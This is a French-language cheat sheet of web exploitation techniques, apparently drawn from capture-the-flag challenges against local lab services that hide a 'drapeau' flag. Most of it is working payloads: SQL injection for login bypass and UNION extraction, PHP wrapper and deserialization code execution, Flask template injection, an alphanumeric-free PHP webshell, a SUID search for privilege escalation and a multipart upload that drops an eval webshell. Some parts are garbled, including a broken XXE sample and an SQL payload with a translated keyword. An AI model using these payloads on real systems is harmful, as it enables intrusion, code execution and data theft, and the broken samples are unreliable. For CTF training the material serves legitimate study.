Initialisation d'une attaque client-side

Pour manipuler les éléments de page via le DOM, on peut utiliser des sélecteurs JavaScript. Par exemple, pour modifier le contenu d'un champ de saisie :

document.querySelector('textarea').value = "commande_speciale";

Exploration d'un service web spécifique

L'accès à une route dédiée peut révéler des fonctionnalités cachées. Considérons un point d'accès tel que :

http://127.0.0.1:30510/chemin_du_soleil

Injection SQL pour altérer des données

Pour modifier des attributs dans une base de données, une injection dans les paramètres de requête peut être efficace. En manipulant la clause WHERE, on peut contourner les contrôles :

http://127.0.0.1:54915/?nom_utilisateur=admin' OU 1=1-- &mot_de_passe=admin

Contournement de restrictions et collecte de fragments

Certaines routes nécessitent des clés d'accès ou des actions spécifiques. Par exemple, envoyer une requête POST avec des données personnalisées :

import requests

endpoint = "http://127.0.0.1:21592/navigateur_nuages"
donnees = "declaration=Atelier_Nuages=Priorite"
reponse = requests.post(endpoint, data=donnees)
print(reponse.text)

Exploitation de vulnérabilités PHP

Des inégalités typologiques ou des collisions de hash peuvent être exploitées. Considérons un script PHP qui compare des entrées :

<?php
$secret = getenv('CLE_SECRETE');
$param_a = $_GET["a"] ?? "";
$param_b = $_GET["b"] ?? "";

if ($param_a == $param_b) {
    exit("erreur_1");
}
if (md5($param_a) != md5($param_b)) {
    exit("erreur_2");
}
echo $secret;
?>

Des valeurs comme s878926199a et s155964671a peuvent causer des collisions de hash MD5.

Extraction de données via les en-têtes HTTP

En examinant les fichiers robots.txt ou en testant des points d'accès, on peut découvrir des chemins sensibles comme drapeau.php.

Injection SQL avancée pour la récupération de données

En utilisant des techniques d'union et des requêtes sur les métadonnées, on peut extraire des informations de la base :

http://127.0.0.1:64872/?nom_utilisateur=admin' UNION SELECT (SELECT GROUP_CONCAT(nom_table) FROM information_schema.tables WHERE table_schema=database()),2-- &mot_de_passe=admin

Exécution de commandes à distance (RCE)

Des vulnérabilités dans le traitement des entrées peuvent permettre l'exécution de commandes. Par exemple, en injectant dans un paramètre :

;exec

Cela peut révéler des varibales d'environnement comme le drapeau.

Attaque XML External Entity (XXE)

En fournissant une entrée XML malveillante, on peut lire des fichiers système :

<?xml version="1.0"?>

]>
<sortie>&xxe;</sortie>

Brute-force de paramètres

Pour trouver des combinaisons valides, on peut générer des permutations de paramètres. Un script Python peut automatiser cette tâche :

import itertools
import requests

url_base = "http://127.0.0.1:55914/"
lettres = 'mnopq'
entetes = {"Cookie": "PHPSESSID=votre_session"}

for combinaison in itertools.permutations(lettres):
    param = ''.join(combinaison)
    reponse = requests.get(url_base, params={param: param}, headers=entetes, timeout=3)
    if "drapeau" in reponse.text:
        print(f"Paramètre valide trouvé : {param}")
        break

Enclusion de fichiers et wrappers PHP

En utilisant des wrappers comme data:// ou php://filter, on peut exécuter du code arbitraire :

http://127.0.0.1:2990/?fichier=data://text/plain ,<?php system('ls /')?>

Désérialisation d'objets PHP

Des chaînes sérialisées manipulées peuvent exécuter du code via des méthodes magiques. Par exemple :

<?php
class ClasseA {
    public $propriete;
    function __destruct() {
        eval($this->propriete);
    }
}
$objet = new ClasseA();
$objet->propriete = "system('cat /drapeau');";
echo serialize($objet);
?>

Une chaîne sérialisée peut être injectée via un paramètre GET.

Chaînes de désérialisaiton complexes

En utilisant des classes interconnectées, on peut créer des chaînes d'exécution. Par exemple :

<?php
class PersonneX {
    private $nom;
    public function __construct() {
        $this->nom = new PersonneY();
    }
    function __wakeup() {
        $this->nom->travailler();
    }
}
class PersonneY {
    public $nom = "system('ls /');";
    function travailler() {
        eval($this->nom);
    }
}
$objet = new PersonneX();
echo str_replace("\0", "%00", serialize($objet));
?>

Injection de modèle côté serveur (SSTI)

Dans les applications Flask, les entrées non filtrées peuvent exécuter du code via le moteur de template :

http://127.0.0.1:32741/?nom_utilisateur={{get_flashed_message.__init__.__globals__['__builtins__']['open']('/drapeau').read()}}&mot_de_passe=2

Contournement de filtres SSTI

Lorsque certains caractères sont bloqués, on peut utiliser l'encodage ou des objets alternatifs :

http://127.0.0.1:31304/?nom_utilisateur={%print(lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['os']['popen']('cat /drapeau')['read']())%}&mot_de_passe=123

Exploitation de RCE via des fonctions système

Dans certains environnements, des binaires SUID peuvent être utilisés pour élever les privilèges. Par exemple, en trouvant un binaire avec des options cachées :

find / -perm -u=s -type f 2>/dev/null

Puis en l'exploitant avec des arguments spécifiques.

Webshell avec restrictions de caractères

Lorsque les lettres et chiffres sont interdits, on peut utiliser des caractères spéciaux et des opérations bit à bit :

$_=('%01'^'%60').('%08'^'%7b').('%08'^'%7b').('%05'^'%60').('%09'^'%7b').('%08'^'%7c');$__='_'.('%07'^'%40').('%05'^'%40').('%09'^'%5d');$___=$$__;$_($___[_]);&_=system('cat /drapeau.txt');

RCE avec contraintes strictes

Pour des filtres plus sévères, on peut utiliser des méthodes indirectes comme l'upload de fichiers ou l'inclusion via multipart :

POST /?shell=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?> HTTP/1.1
Content-Type: multipart/form-data;boundary=----------123

----------123
Content-Disposition: form-data; name="fichier"; filename="test.txt"

echo "<?php eval($_POST['cle']);" > coquille.php
----------123--